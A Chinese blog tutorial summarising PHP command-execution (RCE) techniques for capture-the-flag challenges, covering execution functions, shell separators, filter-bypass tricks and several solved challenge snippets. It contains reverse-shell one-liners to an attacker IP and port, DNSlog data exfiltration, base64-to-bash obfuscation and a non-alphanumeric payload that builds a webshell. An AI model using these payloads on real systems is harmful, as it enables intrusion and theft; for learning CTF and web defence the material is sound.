RCE-命令执行总结

目录

代码执行函数

命令执行函数

system()

exec()

popen()

proc_open()

passthru()

shell_exec()

反引号`

pcntl_exec()

常用的管道符

读取文件内容常用方法

过滤空格的解决办法

过滤了flag的解决办法

内联执行

实例1:?>提前结束php代码

实例2:过滤了ls以及通配符

实例3:过滤了字母和数字

长度限制的情况

php5和php7的区别


代码执行函数

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

命令执行函数

system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

system()

#string system ( string $command [, int &$return_var ] )
#system()函数执行有回显,将执行结果输出到页面上
<?php
    system("whoami");
?>

exec()

<?php
    echo exec("whoami");
?>

popen()

#resource popen ( string $command , string $mode )
#函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行
<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>
 
<?php  
$test = "ls /tmp/test";  
$fp = popen($test,"r");  //popen打一个进程通道  
  
while (!feof($fp)) {      //从通道里面取得东西  
 $out = fgets($fp, 4096);  
 echo  $out;         //打印出来  
}  
pclose($fp);  
?>

proc_open()

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
)
#与Popen函数类似,但是可以提供双向管道
<?php  
$test = "ipconfig";  
$array =   array(  
 array("pipe","r"),   //标准输入  
 array("pipe","w"),   //标准输出内容  
 array("pipe","w")    //标准输出错误  
 );  
  
$fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
proc_close($fp);  
?>

passthru()

#void passthru ( string $command [, int &$return_var ] )
<?php
    passthru("whoami");
?>

shell_exec()

#string shell_exec( string &command)
<?php
    echo shell_exec("whoami");
?>

反引号`

#shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
<?php
	echo `whoami`;
?>

pcntl_exec()

#void pcntl_exec ( string $path [, array $args [, array $envs ]] )
#path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
#args是一个要传递给程序的参数的字符串数组。
#pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
#pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
<?php 
	pcntl_exec ( "/bin/bash" , array("whoami"));
?>

常用的管道符

windows系统支持的管道符:

管道符 含义 | 直接执行后面的语句。例如:ping 127.0.0.1| whoami || 如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 127.0.0.1 || whoami & 如果前面的语句为假则执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami && 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami

Linux系统支持的管道符:

管道符 含义 ; 执行完前面的语句在执行后面的,例如:127.0.0.1; whoami ! 显示后面的执行结果。例如:ping!whoami !! 当前面的语句执行出错时,执行后面的语句,例如:ping1!!whoami & 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping127.0.0.1&whoami && 如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping127.0.0.1&&whoami

读取文件内容常用方法

cat/ tac /nl /more/ less /head /tail /od

过滤空格的解决办法

$IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 (实例:?ip=127.0.0.1|cat$IFS$1flag.php < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09

过滤了flag的解决办法

1.cat fl* 利用*匹配任意 2.echo “Y2F0IGZsYWcucGhw”| base64 -d | bash 3.ca\t fl\ag.php 4.cat fl"ag.php

多个符号被过滤时可以利用$a变量进行覆盖(实例:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php)

内联执行

方法:将反引号内命令的输出作为输入执行(?ip=127.0.0.1;cat$IFS$1ls

无回显rce

方法1:反弹shell

其实在无回显的RCE中,我们输入的命令是执行了的,只是不给我们显示出来。我们可以输入用来反弹shell的命令来拿到对方服务器的权限。

我们可以输入 bash -i >& /dev/tcp/ip/port 0>&1 这个命令,通过自己服务器的监听来对对方服务器进行查询,这时候就不会有过滤限制和无回显的限制了。

就可以尽情的无限制的命令执行了。也可以用 nc -e /bin/sh ip port 这条命令。

方法2:重定向

将输出保存到文件中而不是显示出来。

">"    会将输出的写入到一个文件中,并替换掉这个文件中原有的内容。

">>"  写入到一个文件,并不会替换掉原有内容。

基本格式

command >  file .txt 

如果你写的文件不存在,它会自动生成一个文件。

command >  file .txt 2>&1 

将输出和错误信息也保存在同一个文件中。

方法3:tee命令

标准输入读取再写入标准输出和文件中(tee命令详情百度)

命令格式

command | tee  file .txt 

 同样的,文件不存在自动创建。

command | tee -a  file .txt 

-a参数,增加附加功能。

其他的还有copy对输出的内容进行复制,压缩等方法。

方法4:dnslog外带数据法

DNS(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping命令或者curl命令哈

 

实例1:?>提前结束php代码

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

if(isset($code)){

  $code = str_replace("?","",$code);
  eval("?>".$code);

}

像这种情况可以通过script标签开启php标记,payload

code=<script language="php" >system('cat ../../../f1agaaa');</script>

实例2:过滤了ls以及通配符

 <?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];

if(!preg_match("/system|eval|assert|include|require|echo|more|less|cat|tac|ls|\*|\?| |\~|\^/i",$cmd)){
    if($_COOKIE['GUET']=='I want to; get flag'){
        $cmd = str_replace("flag","",$cmd);
        eval($cmd);
    }
}
?> 

payload

1、Cookie:GUET=I want to%3B get flag ;cmd=passthru(env);

2、Cookie:GUET=I want to%3B get flag ;cmd=highlight_file(next(array_reverse(scandir(pos(localenv())))));

3、Cookie:GUET=I want to%3B get flag ;cmd=print_r(scandir(pos(localeconv()))) //查看目录所有文件 ;show_source(next(array_reverse(scandir(pos(localeconv())))))

实例3:过滤了字母和数字

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

这种情况可以使用取反的方法来构造payload。取反符号:~

需要注意的是,由于它取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可。

$_=~(%9E%8C%8C%9A%8D%8B);    //这里利用取反符号把它取回来,$_=assert
$__=~(%A0%AF%B0%AC%AB);      //$__=_POST
$___=$$__;                   //$___=$_POST
$_($___[_]);                 //assert($_POST[_]);
放到一排就是:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);

所以payload为:

?code=$=~(%9E%8C%8C%9A%8D%8B);$=~(%A0%AF%B0%AC%AB);$_=$$__;$($__[]);

长度限制的情况

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

这种情况就构造一句话木马,用蚁剑连接。(蚁剑连接时的路径带上payload)

由于php版本问题,我们并不能直接构造<?php assert( P O S T [ 1 ] ) ; > , 我 们 需 要 调 用 e v a l 拼 接 为 a s s e r t ( e v a l ( _POST[1]);>,我们需要调用eval 拼接为 assert(eval( POST[′a′]);>,我们需要调用eval拼接为assert(eval(POST[1]));

构造payload:

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>
#运行结果
(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

payload : 

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

php5和php7的区别

在研究无数字字母rce的过程中,一个很重要的函数就是assert,但在php5的版本和php7的版本中,它是有一些区别的,我们上面的测试都是基于php5进行的,在php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码,在php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,但是在php7中,我们可以使用($a)()这种方法来执行命令,那相当于我们对phpinfo取反后就可以直接执行了,也可以选择file_put_contents()来写入shell,在php5中这样是不行的。

实例4:无回显(dnslog外带数据法)

题目源码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>give me a girl</title>
</head>
<body>
    <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

可以看到,这就是一个有过滤情况下的无回显rce,虽然是看起来过滤的比较多,基本思路是反弹shell,但这个靶机在内网操作起来可能有点麻烦,而且像一些重要的比如curl 反引号都没有被过滤掉,所以说我想尝试直接把数据外带出来,先尝试whoami发现没问题:

 那就说明除了上面那些被禁的函数以外,可以执行任何命令,不过禁了ls是真的烦,然后由于它禁了$,上篇文章中讲到的找flag的语句cat $(find / -name flag*)就用不了了,猜测它在根目录下名字叫flag,试试行不行,cat被过滤掉了我就直接用tac

但是该flag文件提示让我们自己去查找flag,用find命令进行查找find / -name flag

发现了flag路径,进行读取

 

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值